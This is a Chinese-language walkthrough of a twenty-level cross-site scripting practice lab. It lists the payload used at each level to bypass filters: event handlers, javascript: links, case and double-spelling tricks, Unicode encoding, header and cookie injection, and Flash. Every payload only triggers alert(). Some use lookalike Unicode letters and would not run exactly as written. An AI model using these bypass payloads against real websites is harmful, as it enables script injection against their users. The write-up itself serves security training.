第一关
总结:URL传参(JS弹窗函数alert())
name=<script>alert()</script>
1.1、get传参name的值test插入了html里面
第二关
总结:特殊符号被实体转义,URL传参(JS代码,闭合绕过)
"> <script>alert()</script> <"
2.1、可拓展其他解法后面才看到,如下:
onerror属性 插入一个<img>标签,闭合掉双引号跟括号,构造payload
"> <img src='666' οnerrοr=alert()> <"
img标签姿势还很多啊
①当鼠标移出图片的时候执行的属性onmouseout
第三关
总结:引号被实体化,onfocus事件绕过
' οnfοcus=javascript:alert() '
3.1、通过焦点触发myFunction()函数来绕过<>号的过滤
第四关
总结:onfocus事件绕过,构建payload
4.1、这里还是<input>标签,可尝试双引号绕过
" οnfοcus=javascript:alert() "
第五关
总结:闭合符号未失效,<a> href标签法
5.1、可以看见on被替换成了o_n,onfocus事件被过滤
5.2、利用网站触发js代码,从而绕过替换符号
"> <a href=javascript:alert()>xxx</a> <"
第六关
总结:大小写绕过str_replace,三种方法可绕(结尾)
6.1、输入关键词看看过滤了哪些内容,发现能过滤的都给过滤掉了哈哈哈哈哈
o_nfocus <scr_ipt> <a hr_ef=javascript:alert()>
6.2、试试大小写有没有被过滤,发现大小写都没被过滤
OnFocus <sCriPt> <a hReF=javascript:alert()>
6.3、可用三种方法:一传、两触(开始起名了哈哈哈)
方法一:"> <sCript>alert()</sCript> <"
方法二:" Onfocus=javascript:alert() "
方法三:"> <a hRef=javascript:alert()>x</a> <"
第七关
总结:有小写转化,双拼写绕过
7.1、不知怎么解,先验关键字
" OnFocus <sCriPt> <a hReF=javascript:alert()>
我的onfocus事件呢?我的href属性标签呢?都变成了一坨好吧。不难看出,除了过滤了这些,还添加了小写转化。
7.2、所以这题用双拼写,可绕过
"> <a hrehreff=javasscriptcript:alert()>xxx</a> <"
第八关
总结:href属性自动解析Unicode编码
8.1、输入123看看有啥
8.2、老套路,查查过滤了啥,基本上能过滤的都过滤了
" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>
8.3、利用href的隐藏属性自动Unicode解码,插入一段js伪协议
javascript:alert()
javascript:alert()
在利用在线Unicode编码解码 - 码工具编码工具编码
再插入进href属性中
8.4、点击友情链接
第九关
总结:插入指定内容绕过检测(本关是http://),注释符
9.1、抬起脚,迈开腿
" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
怎么说,不给我迈腿?
9.2、试试/* http:// */注释绕过
javascript:alert()/* http:// */
第十关
总结:传参,隐藏的input标签可以插入type="text"显示
10.1、老模式先测关键字
" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
被实体化看不了一点
10.2、还是onfocus事件,百用不厌,因为输入框隐藏了,所以用type="text"让他显示出来
?t_sort=" οnfοcus=javascript:alert() type="text"
第十一关
总结:Burp抓包,referer头传参
11.1、通过查看源码可以看到,<input>标签有四个值,都做了隐藏处理,不难看出,第四个<input>标签是http头referer的参数
11.2、我们还是试一下POST传参和GET传参,发现很明显赋不上值
GET传参
?t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
POST传参
t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>
传不了一点儿,But其他的漏洞可能就是这两个传参
11.3、利用Burp抓包给referer头传参
Referer: " sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
发现<>被传没了
11.4、最终还是只能我们的老大哥onfocus事件啊
”what can i see!!!man!“
Referer: " οnfοcus=javascript:alert() type="text
第十二关
总结:User-Agent头,onfocus大哥
12.1、查看网页源代码,发现User-Agent头
12.2、用Burp抓一下包,测试一下User-Agent头
" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
好好好,我script大哥就不配拥有<>呗
12.3、直接老大哥onfocus上场
" οnfοcus=javascript:alert() type="text
“man!!!!”
第十三关
总结:onclick小老弟,cookie传参
13.1、查看网页源代码,哥们我直接来感觉,cookie你终究还是没忍住出来了
13.2、返回主页面F12,存储→Cookie修改→值
" οnclick=alert() type="text
13.3、刷新一下,点击输入框,即可成功!
第十四关
总结:查了一下,好像网站挂了,这关算彩蛋哈啊哈哈哈哈
第十五关
总结:ng-include文件包含,可无视html实体化
15.1、查看源代码,陌生的他来了
15.2、试一下能否包含第一关
?src='/level1.php'
你别说,你还真别说,还真行~
15.3、测一下关键词,发现html实体化函数在,没删东西,(注:但是不包括直接弹窗,例如<script>。但是可以用一些手动的标签,例如<a>,<img>)
?src=" ' sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
15.4、利用第一关的钥匙,再用img标签传参
第十六关
总结:回车(%0a)代替空格绕过检测
16.1、查看源码,发现test藏在<center>里面了,可以不用闭合,老套路,测波关键字
?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> j
字母小写化了,再把script替换成空格,最后将空格给实体化,一点办法都没有了,无奈向猴子看齐
16.2、空格被ban用回车(%0a),斜杠/被ban用<img>、<svg>等标签
?keyword=<svg%0Aοnlοad=alert(1)>
第十七关
总结:触发事件
17.1、老规矩,测关键字,被加了html转义了哥们
?arg01=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;
17.2构造payload
?arg02= οnclick=alert()
第十八关
总结:触发事件
18.1、查看源码发现跟上关差不多,老规矩测一下过滤啥了
?arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;
和上关差不多,html实体化
18.2、直接用事件触发属性
?arg02= οnmοusedοwn=alert()
启用flash就完事了
第十九关
总结:Flash xss
19.1、看了眼源代码直接上payload
?arg02= οnmοuseup=alert()
发现不行
19.2、往Flash里面插一段js代码
第二十关
总结:js代码
20.1关键词没测出来啥,符号都没有,找大佬答案拿过来就是抄,()
?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123
恭喜你!!!!挑战成功!!!!!!